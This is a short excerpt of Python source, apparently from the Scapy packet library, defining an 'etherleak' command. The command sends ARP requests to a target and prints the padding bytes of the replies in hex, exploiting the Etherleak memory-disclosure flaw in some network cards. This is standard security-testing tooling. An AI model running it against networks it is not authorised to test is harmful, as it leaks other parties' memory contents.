Exploit Etherleak flaw
(target, **kargs)
| 1222 | |
| 1223 | @conf.commands.register |
| 1224 | def etherleak(target, **kargs): |
| 1225 | # type: (str, **Any) -> Tuple[SndRcvList, PacketList] |
| 1226 | """Exploit Etherleak flaw""" |
| 1227 | return srp(Ether() / ARP(pdst=target), |
| 1228 | prn=lambda s_r: conf.padding_layer in s_r[1] and hexstr(s_r[1][conf.padding_layer].load), # noqa: E501 |
| 1229 | filter="arp", **kargs) |
| 1230 | |
| 1231 | |
| 1232 | @conf.commands.register |